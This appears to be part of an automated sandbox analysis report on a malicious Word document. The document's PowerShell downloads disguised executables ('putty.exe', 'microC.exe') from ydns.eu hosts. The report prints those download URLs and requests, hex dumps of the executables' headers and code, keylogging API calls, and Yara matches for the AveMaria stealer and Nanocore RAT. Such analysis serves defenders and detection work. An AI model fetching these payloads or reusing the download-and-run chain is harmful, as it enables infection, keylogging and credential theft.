00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1b 30 02 00 1f 00 00 00 00 00 00 00 00 00 28 2b 00 00 0a 28 2c 00 00 0a 00 de 02 00 dc 00 28 07 00 00 06 02 6f 2d 00 00 0a 00 2a 00 01 10 00 00 02 00 01 00 0e 0f 00 02 00 00 00 00 aa 00 02 16 28 2e 00 00 0a 00 02 16 28 2f 00 00 0a 00 02 17 28 30 00 00 0a 00 02 17 28 31 00 00 0a 00 02 16 28 32 00 00 0a 00 2a 4e 00 02 28 09 00 00 06 6f 17 02 00 06 28 33 00 00 0a 00 2a 26 00 02 28 34 00 00 0a 00 2a ce 73 35 00 00 0a 80 01 00 00 04 73 36 00 00 0a 80 02 00 00 04 73 37 00 00 0a 80 03 00 00 04 73 38 00 00 0a 80 04 00 00 04 73 39 00 00 0a 80 05 00 00 04 2a 00 00 00 13 30 01 00 10 00 00 00 01 00 00 11 00 7e 01 00 00 04 6f 3a 00 00 0a 0a 2b 00 06 2a 13 30 01 00 10 00 00 00 02 00 00 11 00 7e 02 00 00 04 6f 3b 00 00 0a 0a 2b 00 06 2a 13 30 01 00 10 00 00 00 03 00 00 11 00 7e 03 00 00 04 6f 3c 00 00 0a 0a 2b 00 06 2a 13 30 01 00 10 00 00 00 04 00 00 11 00 7e 04 00 00 04 6f 3d 00 00 0a 0a 2b 00 06 2a 13 30 01 00 10 00 00 00 05 00 00 11 00 7e 05 00 00 04 6f 3e 00 00 0a 0a 2b
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKContent-Type: application/octet-streamLast-Modified: Sun, 01 Aug 2021 22:25:10 GMTAccept-Ranges: bytesETag: "6ca734172487d71:0"Server: Microsoft-IIS/8.5Date: Mon, 02 Aug 2021 08:59:57 GMTContent-Length: 731648Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 46 1f 07 61 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 50 00 00 20 0b 00 00 08 00 00 00 00 00 00 7a 3b 0b 00 00 20 00 00 00 40 0b 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 80 0b 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 28 3b 0b 00 4f 00 00 00 00 40 0b 00 e4 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 0b 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 60 1f 0b 00 00 20 00 00 00 20 0b 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 e4 05 00 00 00 40 0b 00 00 06 00 00 00 22 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 60 0b 00 00 02 00 00 00 28 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 5c 3b 0b 00 00 00 00 00 48 00 00 00 02 00 05 00 00 f2 00 00 08 d2 02 00 03 00 00 00 01 00 00 06 08 c4 03 00 20 77 07 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1b 30 02 00 1f 00 00 00 00 00 00 00 00 00 28 2b 00 00 0a 28 2c 00 00 0a 00 de 02 00 dc 00 28 07 00 00 06 02 6f 2d 00 00 0a 00 2a 00 01 10 00 00 02 00 01 00 0e 0f 00 02 00 00 00 00 aa 00 02 16 28 2e 00 00 0a 00 02 16 28 2f 00 00 0a 00 02 17 28 30 00 00 0a 00 02 17 28 31 00 00 0a 00 02 16 28 32 00 00 0a 00 2a 4e 00 02 28 09 00 00 06 6f 17 02 00 06 28 33 00 00 0a 00 2a 26 00 02 28 34 00 00 0a 00 2a ce 73 35 00 00 0a 80 01 00 00 04 73 36 00 00 0a 80 02 00 00 04 73 37 00 00 0a 80 03 00 00 04 73 38 00 00 0a 80 04 00 00 04 73 39 00 00 0a 80 05 00 00 04 2a 00 00 00 13 30 01 00 10 00 00 00 01 00 00 11 00 7e 01 00 00 04 6f 3a 00 00 0a 0a 2b 00 06 2a 13 30 01 00 10 00 00 00 02 00 00 11 00 7e 02 00 00 04 6f 3b 00 00 0a 0a 2b 00 06 2a 13 30 01 00 10 00 00 00 03 00 00 11 00 7e 03 00 00 04 6f 3c 00 00 0a 0a 2b 00 06 2a 13 30 01 00 10 00 00 00 04 00 00 11 00 7e 04 00 00 04 6f 3d 00 00 0a 0a 2b 00 06 2a 13 30 01 00 10 00 00 00 05 00 00 11 00 7e 05 00 00 04 6f 3e 00 00 0a 0a 2b
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKContent-Type: application/octet-streamLast-Modified: Mon, 02 Aug 2021 07:13:53 GMTAccept-Ranges: bytesETag: "382415f36d87d71:0"Server: Microsoft-IIS/8.5Date: Mon, 02 Aug 2021 09:00:29 GMTContent-Length: 1378816Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 31 9b 07 61 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 50 00 00 2e 14 00 00 da 00 00 00 00 00 00 06 4c 14 00 00 20 00 00 00 60 14 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 60 15 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 b4 4b 14 00 4f 00 00 00 00 60 14 00 20 d6 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 15 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 0c 2c 14 00 00 20 00 00 00 2e 14 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 20 d6 00 00 00 60 14 00 00 d8 00 00 00 30 14 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 40 15 00 00 02 00 00 00 08 15 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 4b 14 00 00 00 00 00 48 00 00 00 02 00 05 00 90 30 01 00 64 ab 02 00 03 00 00 00 73 01 00 06 f4 db 03 00 c0 6f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1e 02 28 1d 00 00 0a 2a 26 00 02 28 1e 00 00 0a 00 2a ce 73 1f 00 00 0a 80 01 00 00 04 73 20 00 00 0a 80 02 00 00 04 73 21 00 00 0a 80 03 00 00 04 73 22 00 00 0a 80 04 00 00 04 73 23 00 00 0a 80 05 00 00 04 2a 00 00 13 30 01 00 10 00 00 00 01 00 00 11 00 7e 01 00 00 04 6f 24 00 00 0a 0a 2b 00 06 2a 13 30 01 00 10 00 00 00 02 00 00 11 00 7e 02 00 00 04 6f 25 00 00 0a 0a 2b 00 06 2a 13 30 01 00 10 00 00 00 03 00 00 11 00 7e 03 00 00 04 6f 26 00 00 0a 0a 2b 00 06 2a 13 30 01 00 10 00 00 00 04 00 00 11 00 7e 04 00 00 04 6f 27 00 00 0a 0a 2b 00 06 2a 13 30 01 00 10 00 00 00 05 00 00 11 00 7e 05 00 00 04 6f 28 00 00 0a 0a 2b 00 06 2a 13 30 02 00 3c 00 00 00 06 00 00 11 00 7e 06 00 00 04 14 28 29 00 00 0a 0b 07 2c 21 72 01 00 00 70 d0 05 00 00 02 28 2a 00 00 0a 6f 2b 00 00 0a 73 2c 00 00 0a 0c 08 80 06 00 00 04 00 00 7e 06 00 00 04 0a 2b 00 06 2a 13 30 01 00 0b 00 00 00 07 00 00 11 00 7e 07 00 00 04 0a 2b 00 06 2a 22 00 02 80 07 00 00 04 2a 13 30 03 00 26 00 00 00 0
HTTP GET or POST without a user agent
Source: global traffic HTTP traffic detected: GET /putty.exe HTTP/1.1Host: newhosteeeee.ydns.euConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /putty.exe HTTP/1.1Host: newhosteeeee.ydns.euConnection: Keep-Alive
Uses a known web browser user agent for HTTP communication
Source: global traffic HTTP traffic detected: GET /putty.exe HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: newhosteeeee.ydns.euConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /microC.exe HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: hutyrtit.ydns.euConnection: Keep-Alive
Source: C:\Users\user\AppData\Roaming\putty.exe Code function: 13_2_0040290E URLDownloadToFileW,ShellExecuteW, 13_2_0040290E
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{E195593A-72A2-4470-89E8-B7D87A58E0E0}.tmp Jump to behavior
Source: global traffic HTTP traffic detected: GET /putty.exe HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: newhosteeeee.ydns.euConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /putty.exe HTTP/1.1Host: newhosteeeee.ydns.euConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /putty.exe HTTP/1.1Host: newhosteeeee.ydns.euConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /microC.exe HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: hutyrtit.ydns.euConnection: Keep-Alive
Source: unknown DNS traffic detected: queries for: newhosteeeee.ydns.eu
Source: powershell.exe, 00000003.00000002.2103127329.0000000003709000.00000004.00000001.sdmp String found in binary or memory: httP://newhosteeeee.ydns.eu/p
Source: powershell.exe, 00000003.00000002.2101696206.000000000360C000.00000004.00000001.sdmp, powershell.exe, 00000006.00000002.2109600442.00000000035CC000.00000004.00000001.sdmp String found in binary or memory: httP://newhosteeeee.ydns.eu/putt
Source: powershell.exe, 00000006.00000002.2096371882.000000000036E000.00000004.00000020.sdmp String found in binary or memory: httP://newhosteeeee.ydns.eu/putty.exe
Source: powershell.exe, 00000003.00000002.2101696206.000000000360C000.00000004.00000001.sdmp, powershell.exe, 00000006.00000002.2109600442.00000000035CC000.00000004.00000001.sdmp String found in binary or memory: httP://newhosteeeee.ydns.eu/putty.exePE
Source: powershell.exe, 00000006.00000002.2096271913.00000000002FE000.00000004.00000020.sdmp String found in binary or memory: http://ja.com/
Source: powershell.exe, 00000006.00000002.2096271913.00000000002FE000.00000004.00000020.sdmp String found in binary or memory: http://java.co
Source: notepad.exe, 00000016.00000002.2364183393.0000000003017000.00000002.00000001.sdmp String found in binary or memory: http://localizability/practices/XML.asp
Source: notepad.exe, 00000016.00000002.2364183393.0000000003017000.00000002.00000001.sdmp String found in binary or memory: http://localizability/practices/XMLConfiguration.asp
Source: powershell.exe, 00000003.00000002.2103127329.0000000003709000.00000004.00000001.sdmp, powershell.exe, 00000006.00000002.2111053200.00000000036C9000.00000004.00000001.sdmp String found in binary or memory: http://newhosteeeee.ydns.eu
Source: powershell.exe, 00000006.00000002.2109600442.00000000035CC000.00000004.00000001.sdmp String found in binary or memory: http://newhosteeeee.ydns.eu/putty.exe
Source: powershell.exe, 00000003.00000002.2095131637.0000000002310000.00000002.00000001.sdmp, powershell.exe, 00000006.00000002.2099882416.0000000002420000.00000002.00000001.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous.
Source: notepad.exe, 00000016.00000002.2364183393.0000000003017000.00000002.00000001.sdmp String found in binary or memory: http://services.msn.com/svcs/oe/certpage.asp?name=%s&email=%s&&Check
Source: notepad.exe, 00000016.00000002.2364183393.0000000003017000.00000002.00000001.sdmp String found in binary or memory: http://windowsmedia.com/redir/services.asp?WMPFriendly=true
Source: powershell.exe, 00000003.00000002.2095131637.0000000002310000.00000002.00000001.sdmp, powershell.exe, 00000006.00000002.2099882416.0000000002420000.00000002.00000001.sdmp String found in binary or memory: http://www.%s.comPA
Source: notepad.exe, 00000016.00000002.2364183393.0000000003017000.00000002.00000001.sdmp String found in binary or memory: http://www.icra.org/vocabulary/.
Source: powershell.exe, 00000003.00000002.2094491159.00000000001CC000.00000004.00000020.sdmp, powershell.exe, 00000006.00000002.2096271913.00000000002FE000.00000004.00000020.sdmp String found in binary or memory: http://www.piriform.com/ccleaner
Source: powershell.exe, 00000003.00000002.2094474663.000000000019E000.00000004.00000020.sdmp String found in binary or memory: http://www.piriform.com/ccleaner.
Source: powershell.exe, 00000003.00000002.2094491159.00000000001CC000.00000004.00000020.sdmp, powershell.exe, 00000006.00000002.2096271913.00000000002FE000.00000004.00000020.sdmp String found in binary or memory: http://www.piriform.com/ccleanerhttp://www.piriform.com/ccleanerv
Source: putty.exe, 0000000A.00000002.2115431993.0000000000102000.00000020.00020000.sdmp, putty.exe, 0000000B.00000002.2117025453.0000000000102000.00000020.00020000.sdmp String found in binary or memory: https://antizapret.prostovpn.org/domains-export.txt.GDPI
Source: putty.exe, images.exe String found in binary or memory: https://github.com/syohex/java-simple-mine-sweeper
Source: putty.exe, 0000000A.00000002.2122718897.0000000003601000.00000004.00000001.sdmp, putty.exe, 0000000B.00000002.2119646724.00000000025F7000.00000004.00000001.sdmp String found in binary or memory: https://github.com/syohex/java-simple-mine-sweeperC:

Key, Mouse, Clipboard, Microphone and Screen Capturing:

barindex
Installs a global keyboard hook
Source: C:\ProgramData\images.exe Windows user hook set: 0 keyboard low level C:\ProgramData\images.exe
Contains functionality to retrieve information about pressed keystrokes
Source: C:\Users\user\AppData\Roaming\putty.exe Code function: 13_2_0040813A GetAsyncKeyState,wsprintfW,GetAsyncKeyState,wsprintfW,GetAsyncKeyState,GetAsyncKeyState,GetAsyncKeyState,GetAsyncKeyState,GetAsyncKeyState,GetAsyncKeyState,GetAsyncKeyState,GetAsyncKeyState,GetKeyNameTextW,GetAsyncKeyState,GetAsyncKeyState,GetAsyncKeyState,CallNextHookEx, 13_2_0040813A
Installs a raw input device (often for capturing keystrokes)
Source: putty.exe, 0000000A.00000002.2122718897.0000000003601000.00000004.00000001.sdmp Binary or memory string: GetRawInputData

E-Banking Fraud:

barindex
Yara detected AveMaria stealer
Source: Yara match File source: 21.2.images.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 17.2.images.exe.3b52b48.8.unpack, type: UNPACKEDPE
Source: Yara match File source: 11.2.putty.exe.3802b48.7.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 17.2.images.exe.3b52b48.8.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.2.putty.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.2.putty.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 11.2.putty.exe.3751b08.8.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.2.putty.exe.3791b08.7.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 17.2.images.exe.3aa1b08.9.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 21.3.images.exe.6115d8.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.2.putty.exe.3842b48.8.unpack, type: UNPACKEDPE
Source: Yara match File source: 21.3.images.exe.61381d.6.unpack, type: UNPACKEDPE
Source: Yara match File source: 11.2.putty.exe.3802b48.7.unpack, type: UNPACKEDPE
Source: Yara match File source: 21.2.images.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 13.2.putty.exe.400000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.2.putty.exe.3842b48.8.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 21.3.images.exe.6115d8.8.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000015.00000003.2137169067.0000000000613000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000015.00000002.2353065694.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000015.00000003.2137304291.0000000000607000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.2119294130.0000000002637000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000F.00000002.2119927907.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.2122718897.0000000003601000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000015.00000003.2137077371.0000000000603000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.2119646724.00000000025F7000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000D.00000003.2118755811.00000000005B6000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000D.00000003.2118971999.00000000005BD000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000D.00000003.2119027493.00000000005C3000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000011.00000002.2139607287.0000000003911000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000D.00000003.2118869644.00000000005B6000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000D.00000003.2118769952.00000000005BD000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000011.00000002.2136747408.0000000002947000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000015.00000003.2137213660.0000000000607000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000D.00000002.2123143696.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000D.00000003.2118879592.00000000005BD000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.2123072051.00000000035C1000.00000004.00000001.sdmp, type: MEMORY
Yara detected Nanocore RAT
Source: Yara match File source: 34.2.iBCrDCK.i.exe.34ffadc.25.unpack, type: UNPACKEDPE
Source: Yara match File source: 34.2.iBCrDCK.i.exe.440000.4.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 34.2.iBCrDCK.i.exe.34ffadc.25.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 34.2.iBCrDCK.i.exe.34faca6.27.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 34.2.iBCrDCK.i.exe.3504105.26.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 34.2.iBCrDCK.i.exe.368f7f4.28.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 34.2.iBCrDCK.i.exe.444629.3.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 34.2.iBCrDCK.i.exe.3680f50.30.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 34.2.iBCrDCK.i.exe.400000.2.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000022.00000002.2359934676.0000000003678000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000024.00000002.2300359769.0000000002491000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000022.00000002.2359482992.00000000034F9000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000024.00000002.2300423782.0000000003499000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000022.00000002.2355475529.00000000024B1000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000022.00000002.2353673485.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000022.00000002.2353767111.0000000000440000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000024.00000002.2299296256.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: C:\Users\user\AppData\Roaming\putty.exe Code function: 13_2_00413695 CreateDesktopW,AssocQueryStringW,PathFindFileNameW,CharLowerW,PathFindFileNameW,CharLowerW,SHFileOperationW,CreateDirectoryW,CreateProcessW,CreateProcessW,WaitForSingleObject,CreateProcessW,CreateProcessW,SHFileOperationW,CreateDirectoryW,GetPrivateProfileStringW,CreateProcessW,CreateProcessW,WaitForSingleObject,CreateFileW,WriteFile,CloseHandle,CreateProcessW,GetPrivateProfileStringW,CreateFileW,WriteFile,CloseHandle,CreateProcessW,CreateProcessW,CreateProcessW, 13_2_00413695

System Summary:

barindex
Malicious sample detected (through community Yara rule)
Source: 34.2.iBCrDCK.i.exe.cb0000.15.raw.unpack, type: UNPACKEDPE Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 34.2.iBCrDCK.i.exe.34ffadc.25.unpack, type: UNPACKEDPE Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 21.2.images.exe.400000.1.unpack, type: UNPACKEDPE Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 21.2.images.exe.400000.1.unpack, type: UNPACKEDPE Matched rule: AveMaria_WarZone Author: unknown
Source: 34.2.iBCrDCK.i.exe.c60000.14.unpack, type: UNPACKEDPE Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 34.2.iBCrDCK.i.exe.ac0000.9.unpack, type: UNPACKEDPE Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 34.2.iBCrDCK.i.exe.cd0000.16.unpack, type: UNPACKEDPE Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 34.2.iBCrDCK.i.exe.440000.4.raw.unpack, type: UNPACKEDPE Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 34.2.iBCrDCK.i.exe.37d3147.33.unpack, type: UNPACKEDPE Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 17.2.images.exe.3b52b48.8.unpack, type: UNPACKEDPE Matched rule: AveMaria_WarZone Author: unknown
Source: 11.2.putty.exe.3802b48.7.raw.unpack, type: UNPACKEDPE Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 11.2.putty.exe.3802b48.7.raw.unpack, type: UNPACKEDPE Matched rule: AveMaria_WarZone Author: unknown
Source: 34.2.iBCrDCK.i.exe.800000.8.unpack, type: UNPACKEDPE Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 17.2.images.exe.3b52b48.8.raw.unpack, type: UNPACKEDPE Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 17.2.images.exe.3b52b48.8.raw.unpack, type: UNPACKEDPE Matched rule: AveMaria_WarZone Author: unknown
Source: 34.2.iBCrDCK.i.exe.34ffadc.25.raw.unpack, type: UNPACKEDPE Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 15.2.putty.exe.400000.1.unpack, type: UNPACKEDPE Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 15.2.putty.exe.400000.1.unpack, type: UNPACKEDPE Matched rule: AveMaria_WarZone Author: unknown
Source: 15.2.putty.exe.400000.1.raw.unpack, type: UNPACKEDPE Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 15.2.putty.exe.400000.1.raw.unpack, type: UNPACKEDPE Matched rule: AveMaria_WarZone Author: unknown
Source: 34.2.iBCrDCK.i.exe.cd0000.16.raw.unpack, type: UNPACKEDPE Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 34.2.iBCrDCK.i.exe.2537cec.24.raw.unpack, type: UNPACKEDPE Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 34.2.iBCrDCK.i.exe.2537cec.24.raw.unpack, type: UNPACKEDPE Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 34.2.iBCrDCK.i.exe.37dbf76.31.raw.unpack, type: UNPACKEDPE Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 34.2.iBCrDCK.i.exe.5d0000.6.unpack, type: UNPACKEDPE Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 34.2.iBCrDCK.i.exe.37d3147.33.raw.unpack, type: UNPACKEDPE Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 34.2.iBCrDCK.i.exe.37d3147.33.raw.unpack, type: UNPACKEDPE Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 34.2.iBCrDCK.i.exe.254c328.23.raw.unpack, type: UNPACKEDPE Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 34.2.iBCrDCK.i.exe.254c328.23.raw.unpack, type: UNPACKEDPE Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 34.2.iBCrDCK.i.exe.ac0000.9.raw.unpack, type: UNPACKEDPE Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 34.2.iBCrDCK.i.exe.37ea3a6.32.raw.unpack, type: UNPACKEDPE Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 34.2.iBCrDCK.i.exe.cb0000.15.unpack, type: UNPACKEDPE Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 34.2.iBCrDCK.i.exe.34faca6.27.raw.unpack, type: UNPACKEDPE Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 34.2.iBCrDCK.i.exe.34faca6.27.raw.unpack, type: UNPACKEDPE Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 34.2.iBCrDCK.i.exe.c00000.12.raw.unpack, type: UNPACKEDPE Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 34.2.iBCrDCK.i.exe.2537cec.24.unpack, type: UNPACKEDPE Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 34.2.iBCrDCK.i.exe.c50000.13.raw.unpack, type: UNPACKEDPE Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 34.2.iBCrDCK.i.exe.be0000.10.unpack, type: UNPACKEDPE Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 34.2.iBCrDCK.i.exe.5d0000.6.raw.unpack, type: UNPACKEDPE Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 21.3.images.exe.6115d8.0.unpack, type: UNPACKEDPE Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 21.3.images.exe.6115d8.0.unpack, type: UNPACKEDPE Matched rule: AveMaria_WarZone Author: unknown
Source: 34.2.iBCrDCK.i.exe.3504105.26.raw.unpack, type: UNPACKEDPE Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 34.2.iBCrDCK.i.exe.252baa4.22.unpack, type: UNPACKEDPE Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 34.2.iBCrDCK.i.exe.c60000.14.raw.unpack, type: UNPACKEDPE Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 34.2.iBCrDCK.i.exe.368f7f4.28.raw.unpack, type: UNPACKEDPE Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
